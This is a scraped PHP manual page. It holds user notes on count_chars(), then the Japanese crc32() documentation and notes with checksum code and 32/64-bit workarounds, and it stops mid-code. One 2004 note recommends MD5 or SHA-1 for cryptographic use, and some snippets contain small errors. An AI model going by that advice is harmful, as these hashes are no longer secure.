Eric Pecoraro 27-May-2005 07:31
<?php

// Require (n) unique characters in a string
// Modification of a function below which ads some flexibility in how many unique characters are required in a given string.

$pass = '123456' ; // true
$pass = '111222' ; // false

req_unique($pass,3);

function req_unique($string,$unique=3) {
    if ( count(count_chars($string,1)) < $unique) {
        echo 'false';
    }else{
        echo 'true';
    }
}

?>
seb at synchrocide dot net 16-May-2004 03:08
After much trial and error trying to create a function that finds the number of unique characters in a string I same across count_chars() - my 20+ lines of useless code were wiped for this:

<?
function unichar($string) {
$two= strtolower(str_replace(' ', '', $string));
$res = count(count_chars($two, 1));
return $res;
}

/* examples :: */

echo unichar("bob"); // 2
echo unichar("Invisibility"); //8
echo unichar("The quick brown fox slyly jumped over the lazy dog"); //26

?>

I have no idea where this could be used, but it's quite fun
mlong at mlong dot org 29-Jan-2002 04:27
// Usefulness of the two functions

<?php
 $string="aaabbc";

 // You just want to count the letter a
 $acount=substr_count($string,"a");

 // You want to count both letter a and letter b
 $counts=count_chars($string,0);
 $acount=$counts[ord("a")];
 $bcount=$counts[ord("b")];
?>
maotin at hongkong dot com 31-Jan-2001 05:04
Here are some more experiments on this relatively new and extremely handy function.

<?php
$string = 'I have never seen ANYTHING like that before! My number is "4670-9394".';

foreach(count_chars($string, 1) as $chr => $hit)
echo 'The character '.chr(34).chr($chr).chr(34).' has appeared in this string '.$hit.' times.<BR>';

#The result looks like
#The character " " has appeared in this string 11 times.

echo count_chars($string,3);
#The output is '!"-.034679AGHIMNTYabefhiklmnorstuvy'

echo strlen($string).' is not the same as '.strlen(count_chars($string, 3));

#This shows that '70 is not the same as 36'
?>

As we can see above:

1)If you cares only about what is in the string, use count_chars($string, 1) and it will return an (associative?) array of what shows up only.

2) Either I misunderstood what the manul actually said, or it does not work the way it described: count_chars($strting, 3) actually returned a string of what characters are in the string, not a string of their byte-values (which is great because a string of numbers would be much harder to handle);

3)This is a short version of password checking: get the original string's length, then compare with the length of the string returned by count_chars($string,3).

<?php
$length_of_string = strlen($string);
$num_of_chars = strlen(count_chars($string, 3));

$diff = ($length_of_string - $num_of_chars);

if ($diff)
echo 'At least one character has been used more than once.';
else
echo 'All character have been used only once.';
?>

Note that since $num_of_chars gives no information about the actual number of occurance, we cannot go any further by the same rationale and say when $diff =2 then 2 characters showed up twice; it might be 1 character showd up 3 times, we have no way to tell (a good tolerance level setter, though).  You have to get the array and check the values if you want to have more control.

4) Final trick: now we have a primitive way to count the number of words in a string! (or do we have a fuction for that already?)


文字列の crc32 多項式計算を行う

  • ≪ count_chars
  • crypt ≫
  • PHP Manual
  • String 関数
  • 文字列の crc32 多項式計算を行う

crc32

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

crc32 — 文字列の crc32 多項式計算を行う

説明

crc32 ( string $string ) : int

string の 32 ビット長の CRC (cyclic redundancy checksum) チェックサムを生成します。 これは通常、送信したデータの整合性を検証するために使用します。

警告

PHP の整数型は符号付きで、多くの crc32 チェックサムは 32 ビットシステム上では負の整数になります。 しかし、64 ビット環境では crc32() の結果はすべて正の整数となります。

つまり、符号なしの crc32() チェックサムの文字列表記を 十進形式で取得するには、 sprintf() もしくは printf() の "%u" フォーマッタを使う必要があります。

チェックサムの十六進表記を取得するには、sprintf() あるいは printf() の "%x" フォーマッタを使うか、あるいは変換関数 dechex() を使います。これらはいずれも、 crc32() の結果を符号なし整数に変換することも行います。

64 ビット環境でも、返り値が大きくなると負の整数を返すことが考えられます。 その場合は十六進変換がうまくいかないので、負の整数については オフセット 0xFFFFFFFF######## を与えます。 十六進表現は最もよく使われる形式なので、この処理が壊れないようにしました。 32 ビット環境から 64 ビット環境に移したときに ほぼ 50% の確率で十進形式での比較が失敗してしまいますが、 それよりも十六進表記のほうを優先したのです。

今思えば、この関数が整数値を返すようにしたというのがまずい判断でした。 最初から、md5() のように十六進形式の文字列をを直接返すようにしておけばよかったのでしょう。

移植性を考慮した選択肢として、より汎用的な hash() を使う方法もあります。 hash("crc32b", $str) は str_pad(dechex(crc32($str)), 8, '0', STR_PAD_LEFT) と同じ文字列を返します。

パラメータ

string

データ。

返り値

string の crc32 チェックサムを整数値で返します。

例

例1 crc32 チェックサムの表示

この例は printf() 関数を用いた変換後のチェックサムの表示方法を示しています。

<?php
$checksum = crc32("The quick brown fox jumped over the lazy dog.");
printf("%u\n", $checksum);
?>

参考

  • hash() - ハッシュ値 (メッセージダイジェスト) を生成する
  • md5() - 文字列のmd5ハッシュ値を計算する
  • sha1() - 文字列の sha1 ハッシュを計算する

User Contributed Notes

dotg at mail dot ru 29-Dec-2016 09:33
crc32() on php 32bit and 64 bit not equal in some values

i use abs for result in positive for 32 bit

not equal
<?=abs(crc32(1));?>
64 bit
2212294583
32 bit
2082672713

equal
<?=abs(crc32(3));?>
64 bit
1842515611
32 bit
1842515611
toggio at writeme dot com 30-Jan-2016 05:15
A faster implementation of modbus CRC16

function crc16($data)
 {
   $crc = 0xFFFF;
   for ($i = 0; $i < strlen($data); $i++)
   {
     $crc ^=ord($data[$i]);

        for ($j = 8; $j !=0; $j--)
        {
            if (($crc & 0x0001) !=0)
            {
                $crc >>= 1;
                $crc ^= 0xA001;
            }
            else
                $crc >>= 1;
        }
    }
   return $crc;
 }
JS at JavsSys dot Org 13-Apr-2013 04:22
The khash() function by sukitsupaluk has two problems, it does not use all 62 characters from the $map set and when corrected it then produces different results on 64-bit compared to 32-bit PHP systems.

Here is my modified version :

<?php

/**
 * Small sample convert crc32 to character map
 * Based upon http://www.php.net/manual/en/function.crc32.php#105703
 * (Modified to now use all characters from $map)
 * (Modified to be 32-bit PHP safe)
 */
function khash($data)
{
    static $map = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash = bcadd(sprintf('%u',crc32($data)) , 0x100000000);
    $str = "";
    do
    {
        $str = $map[bcmod($hash, 62) ] . $str;
        $hash = bcdiv($hash, 62);
    }
    while ($hash >= 1);
    return $str;
}
//-----------------------------------------------------------------------------------
$test = array(null, true, false, 0, "0", 1, "1", "2", "3", "ab", "abc", "abcd",
    "abcde", "abcdefoo", "248840027", "1365848013", // time()
    "9223372035488927794", // PHP_INT_MAX-time()
    "901131979", // mt_rand()
    "Sat, 13 Apr 2013 10:13:33 +0000" // gmdate('r')
);
$out = array();
foreach ($test as $s)
{
    $out[] = khash($s) . ": " . $s;
}
print "<h3>khash() -- maps a crc32 result into a (62-character) result</h3>";
print '<pre>';
var_dump($out);
print "\n\n\$GLOBALS['raw_crc32']:\n";
var_dump($GLOBALS['raw_crc32']);
print '</pre><hr>';
flush();
$pefile = __FILE__;
print "<h3>$pefile</h3>";
ob_end_flush();
flush();
highlight_file($pefile);
print "<hr>";
//-----------------------------------------------------------------------------------
/* CURRENT output
array(19) {
  [0]=>
  string(8) "4GFfc4: "
  [1]=>
  string(9) "76nO4L: 1"
  [2]=>
  string(8) "4GFfc4: "
  [3]=>
  string(9) "9aGcIp: 0"
  [4]=>
  string(9) "9aGcIp: 0"
  [5]=>
  string(9) "76nO4L: 1"
  [6]=>
  string(9) "76nO4L: 1"
  [7]=>
  string(9) "5b8iNn: 2"
  [8]=>
  string(9) "6HmfFN: 3"
  [9]=>
  string(10) "7ADPD7: ab"
  [10]=>
  string(11) "5F0aUq: abc"
  [11]=>
  string(12) "92kWw9: abcd"
  [12]=>
  string(13) "78hcpf: abcde"
  [13]=>
  string(16) "9eBVPB: abcdefoo"
  [14]=>
  string(17) "5TjOuZ: 248840027"
  [15]=>
  string(18) "5eNliI: 1365848013"
  [16]=>
  string(27) "4Q00e5: 9223372035488927794"
  [17]=>
  string(17) "6DUX8V: 901131979"
  [18]=>
  string(39) "5i2aOW: Sat, 13 Apr 2013 10:13:33 +0000"
}
*/
//-----------------------------------------------------------------------------------

?>
i at morfi dot ru 18-Mar-2013 01:16
Implementation crc64() in php 64bit

<?php

/**
 * @return array
 */
function crc64Table()
{
    $crc64tab = [];

    // ECMA polynomial
    $poly64rev = (0xC96C5795 << 32) | 0xD7870F42;

    // ISO polynomial
    // $poly64rev = (0xD8 << 56);

    for ($i = 0; $i < 256; $i++)
    {
        for ($part = $i, $bit = 0; $bit < 8; $bit++) {
            if ($part & 1) {
                $part = (($part >> 1) & ~(0x8 << 60)) ^ $poly64rev;
            } else {
                $part = ($part >> 1) & ~(0x8 << 60);
            }
        }

       $crc64tab[$i] = $part;
    }

    return $crc64tab;
}

/**
 * @param string $string
 * @param string $format
 * @return mixed
 *
 * Formats:
 *  crc64('php'); // afe4e823e7cef190
 *  crc64('php', '0x%x'); // 0xafe4e823e7cef190
 *  crc64('php', '0x%X'); // 0xAFE4E823E7CEF190
 *  crc64('php', '%d'); // -5772233581471534704 signed int
 *  crc64('php', '%u'); // 12674510492238016912 unsigned int
 */
function crc64($string, $format = '%x')
{
    static $crc64tab;

    if ($crc64tab === null) {
        $crc64tab = crc64Table();
    }

    $crc = 0;

    for ($i = 0; $i < strlen($string); $i++) {
        $crc = $crc64tab[($crc ^ ord($string[$i])) & 0xff] ^ (($crc >> 8) & ~(0xff << 56));
    }

    return sprintf($format, $crc);
}
Clifford dot ct at gmail dot com 07-Aug-2012 08:54
The crc32() function can return a signed integer in certain environments.  Assuming that it will always return an unsigned integer is not portable.

Depending on your desired behavior, you should probably use sprintf() on the result or the generic hash() instead.  Also note that integer arithmetic operators do not have the precision to work correctly with the integer output.
alban dot lopez+php [ at ] gmail dot com 26-Nov-2011 06:02
I made this code to verify Transmition with Vantage Pro2 ( weather station ) based on CRC16-CCITT standard.

<?php
// CRC16-CCITT validator
$crc_table = array(
    0x0,  0x1021,  0x2042,  0x3063,  0x4084,  0x50a5,  0x60c6,  0x70e7,
        0x8108,  0x9129,  0xa14a,  0xb16b,  0xc18c,  0xd1ad,  0xe1ce,  0xf1ef,
        0x1231,  0x210,  0x3273,  0x2252,  0x52b5,  0x4294,  0x72f7,  0x62d6,
        0x9339,  0x8318,  0xb37b,  0xa35a,  0xd3bd,  0xc39c,  0xf3ff,  0xe3de,
        0x2462,  0x3443,  0x420,  0x1401,  0x64e6,  0x74c7,  0x44a4,  0x5485,
        0xa56a,  0xb54b,  0x8528,  0x9509,  0xe5ee,  0xf5cf,  0xc5ac,  0xd58d,
        0x3653,  0x2672,  0x1611,  0x630,  0x76d7,  0x66f6,  0x5695,  0x46b4,
        0xb75b,  0xa77a,  0x9719,  0x8738,  0xf7df,  0xe7fe,  0xd79d,  0xc7bc,
        0x48c4,  0x58e5,  0x6886,  0x78a7,  0x840,  0x1861,  0x2802,  0x3823,
        0xc9cc,  0xd9ed,  0xe98e,  0xf9af,  0x8948,  0x9969,  0xa90a,  0xb92b,
        0x5af5,  0x4ad4,  0x7ab7,  0x6a96,  0x1a71,  0xa50,  0x3a33,  0x2a12,
        0xdbfd,  0xcbdc,  0xfbbf,  0xeb9e,  0x9b79,  0x8b58,  0xbb3b,  0xab1a,
        0x6ca6,  0x7c87,  0x4ce4,  0x5cc5,  0x2c22,  0x3c03,  0xc60,  0x1c41,
        0xedae,  0xfd8f,  0xcdec,  0xddcd,  0xad2a,  0xbd0b,  0x8d68,  0x9d49,
        0x7e97,  0x6eb6,  0x5ed5,  0x4ef4,  0x3e13,  0x2e32,  0x1e51,  0xe70,
        0xff9f,  0xefbe,  0xdfdd,  0xcffc,  0xbf1b,  0xaf3a,  0x9f59,  0x8f78,
        0x9188,  0x81a9,  0xb1ca,  0xa1eb,  0xd10c,  0xc12d,  0xf14e,  0xe16f,
        0x1080,  0xa1,  0x30c2,  0x20e3,  0x5004,  0x4025,  0x7046,  0x6067,
        0x83b9,  0x9398,  0xa3fb,  0xb3da,  0xc33d,  0xd31c,  0xe37f,  0xf35e,
        0x2b1,  0x1290,  0x22f3,  0x32d2,  0x4235,  0x5214,  0x6277,  0x7256,
        0xb5ea,  0xa5cb,  0x95a8,  0x8589,  0xf56e,  0xe54f,  0xd52c,  0xc50d,
        0x34e2,  0x24c3,  0x14a0,  0x481,  0x7466,  0x6447,  0x5424,  0x4405,
        0xa7db,  0xb7fa,  0x8799,  0x97b8,  0xe75f,  0xf77e,  0xc71d,  0xd73c,
        0x26d3,  0x36f2,  0x691,  0x16b0,  0x6657,  0x7676,  0x4615,  0x5634,
        0xd94c,  0xc96d,  0xf90e,  0xe92f,  0x99c8,  0x89e9,  0xb98a,  0xa9ab,
        0x5844,  0x4865,  0x7806,  0x6827,  0x18c0,  0x8e1,  0x3882,  0x28a3,
        0xcb7d,  0xdb5c,  0xeb3f,  0xfb1e,  0x8bf9,  0x9bd8,  0xabbb,  0xbb9a,
        0x4a75,  0x5a54,  0x6a37,  0x7a16,  0xaf1,  0x1ad0,  0x2ab3,  0x3a92,
        0xfd2e,  0xed0f,  0xdd6c,  0xcd4d,  0xbdaa,  0xad8b,  0x9de8,  0x8dc9,
        0x7c26,  0x6c07,  0x5c64,  0x4c45,  0x3ca2,  0x2c83,  0x1ce0,  0xcc1,
        0xef1f,  0xff3e,  0xcf5d,  0xdf7c,  0xaf9b,  0xbfba,  0x8fd9,  0x9ff8,
        0x6e17,  0x7e36,  0x4e55,  0x5e74,  0x2e93,  0x3eb2,  0xed1,  0x1ef0);

    $test = chr(0xC6).chr(0xCE).chr(0xA2).chr(0x03); // CRC16-CCITT = 0xE2B4
    genCRC ($test);

function genCRC (&$ptr)
{
    $crc = 0x0000;
    $crc_table = $GLOBALS['crc_table'];
    for ($i = 0; $i < strlen($ptr); $i++)
        $crc =  $crc_table[(($crc>>8) ^ ord($ptr[$i]))] ^ (($crc<<8) & 0x00FFFF);
    return $crc;
}
?>
arris at zsolttech dot com 19-Oct-2011 05:17
not found anywhere crc64 based on http://bioinfadmin.cs.ucl.ac.uk/downloads/crc64/crc64.c .

(use gmp module)

<?php

/* OLDCRC */
define('POLY64REV', "d800000000000000");
define('INITIALCRC', "0000000000000000");
define('TABLELEN', 256);
/* NEWCRC */
// define('POLY64REV', "95AC9329AC4BC9B5");
// define('INITIALCRC', "FFFFFFFFFFFFFFFF");

if(function_exists('gmp_init')){
        class CRC64{

                private static $CRCTable = array();

                public static function encode($seq){

                        $crc = gmp_init(INITIALCRC, 16);
                        $init = FALSE;
                        $poly64rev = gmp_init(POLY64REV, 16);

                        if (!$init)
                        {
                                $init = TRUE;
                                for ($i = 0; $i < TABLELEN; $i++)
                                {
                                        $part = gmp_init($i, 10);
                                        for ($j = 0; $j < 8; $j++)
                                        {
                                                if (gmp_strval(gmp_and($part, "0x1")) != "0"){
                                                        // if (gmp_testbit($part, 1)){ /* PHP 5 >= 5.3.0, untested */
                                                        $part = gmp_xor(gmp_div_q($part, "2"), $poly64rev);
                                                } else {
                                                        $part = gmp_div_q($part, "2");
                                                }
                                        }
                                        self::$CRCTable[$i] = $part;
                                }
                        }

                        for($k = 0; $k < strlen($seq); $k++){
                                $tmp_gmp_val = gmp_init(ord($seq[$k]), 10);
                                $tableindex = gmp_xor(gmp_and($crc, "0xff"), $tmp_gmp_val);
                                $crc = gmp_div_q($crc, "256");
                                $crc = gmp_xor($crc, self::$CRCTable[gmp_strval($tableindex, 10)]);
                        }

                        $res = gmp_strval($crc, 16);

                        return $res;
                }
        }
} else {
        die("Please install php-gmp package!!!");
}
?>
sukitsupaluk at hotmail dot com 08-Sep-2011 03:04
small sample convert crc32 to character map

<?php

function khash($data) {
    static $map="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
    $hash=crc32($data)+0x100000000;
    $str = "";
    do {
        $str = $map[31+ ($hash % 31)] . $str;
        $hash /= 31;
    } while($hash >= 1);
    return $str;
}
$test= array(null,TRUE,FALSE,0,"0",1,"1","2","3","ab","abc","abcd","abcde","abcdefoo");
$out = array();
foreach($test as $s)
{
    $out[]=khash($s).": ". $s;
}
var_dump($out);

/*
output:
array
  0 => string 'zVvOYTv: ' (length=9)
  1 => string 'xKDKKL8: 1' (length=10)
  2 => string 'zVvOYTv: ' (length=9)
  3 => string 'zOKCQxh: 0' (length=10)
  4 => string 'zOKCQxh: 0' (length=10)
  5 => string 'xKDKKL8: 1' (length=10)
  6 => string 'xKDKKL8: 1' (length=10)
  7 => string 'AFSzIAO: 2' (length=10)
  8 => string 'BXGSvQJ: 3' (length=10)
  9 => string 'xZWOQSu: ab' (length=11)
  10 => string 'AVAwHOR: abc' (length=12)
  11 => string 'zKASNE1: abcd' (length=13)
  12 => string 'xLCTOV7: abcde' (length=14)
  13 => string 'zQLzKMt: abcdefoo' (length=17)

*/

?>
chernyshevsky at hotmail dot com 22-Sep-2010 03:54
The crc32_combine() function provided by petteri at qred dot fi has a bug that causes an infinite loop, a shift operation on a 32-bit signed int might never reach zero. Replacing the function gf2_matrix_times() with the following seems to fix it:

<?php
function gf2_matrix_times($mat, $vec)
{
    $sum=0;
    $i=0;

    while ($vec) {
        if ($vec & 1) {
            $sum ^= $mat[$i];
        }
        $vec = ($vec >> 1) & 0x7FFFFFFF;
        $i++;
    }
    return $sum;
}
?>

Otherwise, it's probably the best solution if you can't use hash_file(). Using a 1meg read buffer, the function only takes twice as long to process a 300meg files than hash_file() in my test.
gabri dot ns at gmail dot com 15-Sep-2010 10:05
if you are looking for a fast function to hash a file, take a look at
http://www.php.net/manual/en/function.hash-file.php
this is crc32 file checker based on a CRC32 guide
it have performance at ~ 625 KB/s on my 2.2GHz Turion
far slower than hash_file('crc32b','filename.ext')
<?php
function crc32_file ($filename)
{
   $f = @fopen($filename,'rb');
   if (!$f) return false;

   static $CRC32Table, $Reflect8Table;
   if (!isset($CRC32Table))
   {
      $Polynomial = 0x04c11db7;
      $topBit = 1 << 31;

      for($i = 0; $i < 256; $i++)
      {
         $remainder = $i << 24;
         for ($j = 0; $j < 8; $j++)
         {
            if ($remainder & $topBit)
               $remainder = ($remainder << 1) ^ $Polynomial;
            else $remainder = $remainder << 1;
         }

         $CRC32Table[$i] = $remainder;

         if (isset($Reflect8Table[$i])) continue;
         $str = str_pad(decbin($i), 8, '0', STR_PAD_LEFT);
         $num = bindec(strrev($str));
         $Reflect8Table[$i] = $num;
         $Reflect8Table[$num] = $i;
      }
   }

   $remainder = 0xffffffff;
   while ($data = fread($f,1024))
   {
      $len = strlen($data);
      for ($i = 0; $i < $len; $i++)
      {
         $byte = $Reflect8Table[ord($data[$i])];
         $index = (($remainder >> 24) & 0xff) ^ $byte;
         $crc = $CRC32Table[$index];
         $remainder = ($remainder << 8) ^ $crc;
      }
   }

   $str = decbin($remainder);
   $str = str_pad($str, 32, '0', STR_PAD_LEFT);
   $remainder = bindec(strrev($str));
   return $remainder ^ 0xffffffff;
}
?>

<?php
$a = microtime();
echo dechex(crc32_file('filename.ext'))."\n";
$b = microtime();
echo array_sum(explode(' ',$b)) - array_sum(explode(' ',$a))."\n";
?>
Output:
ec7369fe
2.384134054184 (or similiar)
jian at theorchard dot com 17-Feb-2010 10:13
This function returns an unsigned integer from a 64-bit Linux platform.  It does return the signed integer from other 32-bit platforms even a 64-bit Windows one.

The reason is because the two constants PHP_INT_SIZE and PHP_INT_MAX have different values on the 64-bit Linux platform.

I've created a work-around function to handle this situation.

<?php
function get_signed_int($in) {
    $int_max = pow(2, 31)-1;
    if ($in > $int_max){
        $out = $in - $int_max * 2 - 2;
    }
    else {
        $out = $in;
    }
    return $out;
}
?>

Hope this helps.
berna (at) gensis (dot) com (dot) br 29-Sep-2009 08:16
For those who want a more familiar return value for the function:

<?php
function strcrc32($text) {
  $crc = crc32($text);
  if ($crc & 0x80000000) {
    $crc ^= 0xffffffff;
    $crc += 1;
    $crc = -$crc;
  }
  return $crc;
}
?>

And to show the result in Hex string:

<?php
function int32_to_hex($value) {
  $value &= 0xffffffff;
  return str_pad(strtoupper(dechex($value)), 8, "0", STR_PAD_LEFT);
}
?>
dave at jufer dot info 03-Dec-2007 02:15
This function returns the same int value on a 64 bit mc. like the crc32() function on a 32 bit mc.

<?php
function crcKw($num){
    $crc = crc32($num);
    if($crc & 0x80000000){
        $crc ^= 0xffffffff;
        $crc += 1;
        $crc = -$crc;
    }
    return $crc;
}
?>
Ren 03-Oct-2007 11:53
Dealing with 32 bit unsigned values overflowing 32 bit php signed values can be done by adding 0x10000000 to any unexpected negative result, rather than using sprintf.

$i = crc32('1');
printf("%u\n", $i);
if (0 > $i)
{
    // Implicitly casts i as float, and corrects this sign.
    $i += 0x100000000;
}
var_dump($i);

Outputs:

2212294583
float(2212294583)
slimshady451 20-Jun-2007 02:14
I see a lot of function for crc32_file, but for php version >= 5.1.2 don't forget you can use this :

<?php
function crc32_file($filename)
{
    return hash_file ('CRC32', $filename , FALSE );
}
?>

Using crc32(file_get_contents($filename)) will use too many memory on big file so don't use it.
mail at tristansmis dot nl 30-May-2007 01:36
I used the abs value of this function on a 32-bit system. When porting the code to a 64-bit system I've found that the value is different. The following code has the same outcome on both systems.
<?php

   $crc = abs(crc32($string));
   if( $crc & 0x80000000){
      $crc ^= 0xffffffff;
      $crc += 1;
   }

   /* Old solution
    * $crc = abs(crc32($string))
    */

?>
roberto at spadim dot com dot br 07-Apr-2006 09:52
MODBUS RTU, CRC16,
input-> modbus rtu string
output -> 2bytes string, in correct modbus order

<?php
function crc16($string,$length=0){

    $auchCRCHi=array(    0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01,
                0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0,
                0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01,
                0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81, 0x40, 0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41,
                0x00, 0xC1, 0x81, 0x40, 0x01, 0xC0, 0x80, 0x41, 0x01, 0xC0, 0x80, 0x41, 0x00, 0xC1, 0x81,
                0x40);
    $auchCRCLo=array(    0x00, 0xC0, 0xC1, 0x01, 0xC3, 0x03, 0x02, 0xC2, 0xC6, 0x06, 0x07, 0xC7, 0x05, 0xC5, 0xC4,
                0x04, 0xCC, 0x0C, 0x0D, 0xCD, 0x0F, 0xCF, 0xCE, 0x0E, 0x0A, 0xCA, 0xCB, 0x0B, 0xC9, 0x09,
                0x08, 0xC8, 0xD8, 0x18, 0x19, 0xD9, 0x1B, 0xDB, 0xDA, 0x1A, 0x1E, 0xDE, 0xDF, 0x1F, 0xDD,
                0x1D, 0x1C, 0xDC, 0x14, 0xD4, 0xD5, 0x15, 0xD7, 0x17, 0x16, 0xD6, 0xD2, 0x12, 0x13, 0xD3,
                0x11, 0xD1, 0xD0, 0x10, 0xF0, 0x30, 0x31, 0xF1, 0x33, 0xF3, 0xF2, 0x32, 0x36, 0xF6, 0xF7,
                0x37, 0xF5, 0x35, 0x34, 0xF4, 0x3C, 0xFC, 0xFD, 0x3D, 0xFF, 0x3F, 0x3E, 0xFE, 0xFA, 0x3A,
                0x3B, 0xFB, 0x39, 0xF9, 0xF8, 0x38, 0x28, 0xE8, 0xE9, 0x29, 0xEB, 0x2B, 0x2A, 0xEA, 0xEE,
                0x2E, 0x2F, 0xEF, 0x2D, 0xED, 0xEC, 0x2C, 0xE4, 0x24, 0x25, 0xE5, 0x27, 0xE7, 0xE6, 0x26,
                0x22, 0xE2, 0xE3, 0x23, 0xE1, 0x21, 0x20, 0xE0, 0xA0, 0x60, 0x61, 0xA1, 0x63, 0xA3, 0xA2,
                0x62, 0x66, 0xA6, 0xA7, 0x67, 0xA5, 0x65, 0x64, 0xA4, 0x6C, 0xAC, 0xAD, 0x6D, 0xAF, 0x6F,
                0x6E, 0xAE, 0xAA, 0x6A, 0x6B, 0xAB, 0x69, 0xA9, 0xA8, 0x68, 0x78, 0xB8, 0xB9, 0x79, 0xBB,
                0x7B, 0x7A, 0xBA, 0xBE, 0x7E, 0x7F, 0xBF, 0x7D, 0xBD, 0xBC, 0x7C, 0xB4, 0x74, 0x75, 0xB5,
                0x77, 0xB7, 0xB6, 0x76, 0x72, 0xB2, 0xB3, 0x73, 0xB1, 0x71, 0x70, 0xB0, 0x50, 0x90, 0x91,
                0x51, 0x93, 0x53, 0x52, 0x92, 0x96, 0x56, 0x57, 0x97, 0x55, 0x95, 0x94, 0x54, 0x9C, 0x5C,
                0x5D, 0x9D, 0x5F, 0x9F, 0x9E, 0x5E, 0x5A, 0x9A, 0x9B, 0x5B, 0x99, 0x59, 0x58, 0x98, 0x88,
                0x48, 0x49, 0x89, 0x4B, 0x8B, 0x8A, 0x4A, 0x4E, 0x8E, 0x8F, 0x4F, 0x8D, 0x4D, 0x4C, 0x8C,
                0x44, 0x84, 0x85, 0x45, 0x87, 0x47, 0x46, 0x86, 0x82, 0x42, 0x43, 0x83, 0x41, 0x81, 0x80,
                0x40);
    $length        =($length<=0?strlen($string):$length);
    $uchCRCHi    =0xFF;
    $uchCRCLo    =0xFF;
    $uIndex        =0;
    for ($i=0;$i<$length;$i++){
        $uIndex        =$uchCRCLo ^ ord(substr($string,$i,1));
        $uchCRCLo    =$uchCRCHi ^ $auchCRCHi[$uIndex];
        $uchCRCHi    =$auchCRCLo[$uIndex] ;
    }
    return(chr($uchCRCLo).chr($uchCRCHi));
}
?>
Bulk at bulksplace dot com 27-Aug-2005 05:46
A faster way I've found to return CRC values of larger files, is instead of using the file()/implode() method used below, is to us file_get_contents() (PHP 4 >= 4.3.0) which uses memory mapping techniques if supported by your OS to enhance performance. Here's my example function:

<?php
// $file is the path to the file you want to check.
function file_crc($file)
{
    $file_string = file_get_contents($file);

    $crc = crc32($file_string);

    return sprintf("%u", $crc);
}

$file_to_crc = /home/path/to/file.jpg;

echo file_crc($file_to_crc); // Outputs CRC value for given file.
?>

I've found in testing this method is MUCH faster for larger binary files.
waldomonster at netjukebox dot demon dot nl 23-Apr-2004 08:48
<?php
$data = 'dot';
echo dechex(crc32($data));
?>

Returns 59278a3
Witch is missing a leading zero.

<?php
$data = 'dot';
echo str_pad(dechex(crc32($data)), 8, '0', STR_PAD_LEFT);
?>

Returns the correct string: 059278a3
arachnid at notdot dot net 13-Apr-2004 08:44
Note that the CRC32 algorithm should NOT be used for cryptographic purposes, or in situations where a hostile/untrusted user is involved, as it is far too easy to generate a hash collision for CRC32 (two different binary strings that have the same CRC32 hash). Instead consider SHA-1 or MD5.
same 01-Feb-2004 05:27
bit by bit crc32 computation

<?php

function bitbybit_crc32($str,$first_call=false){

    //reflection in 32 bits of crc32 polynomial 0x04C11DB7
    $poly_reflected=0xEDB88320;

    //=0xFFFFFFFF; //keep track of register value after each call
    static $reg=0xFFFFFFFF;

    //initialize register on first call
    if($first_call) $reg=0xFFFFFFFF;

    $n=strlen($str);
    $zeros=$n<4 ? $n : 4;

    //xor first $zeros=min(4,strlen($str)) bytes into the register
    for($i=0;$i<$zeros;$i++)
        $reg^=ord($str{$i})<<$i*8;

    //now for the rest of the string
    for($i=4;$i<$n;$i++){
        $next_char=ord($str{$i});
        for($j=0;$j<8;$j++)
            $reg=(($reg>>1&0x7FFFFFFF)|($next_char>>$j&1)<<0x1F)
                ^($reg&1)*$poly_reflected;
    }

    //put in enough zeros at the end
    for($i=0;$i<$zeros*8;$i++)
        $reg=($reg>>1&0x7FFFFFFF)^($reg&1)*$poly_reflected;

    //xor the register with 0xFFFFFFFF
    return ~$reg;
}

$str="123456789"; //whatever
$blocksize=4; //whatever

for($i=0;$i<strlen($str);$i+=$blocksize) $crc=bitbybit_crc32(substr($str,$i,$blocksize),!$i);

?>
quix at free dot fr 05-May-2003 01:19
I needed the crc32 of a file that was pretty large, so I didn't want to read it into memory.
So I made this:

<?php
    $GLOBALS['__crc32_table']=array();        // Lookup table array
    __crc32_init_table();

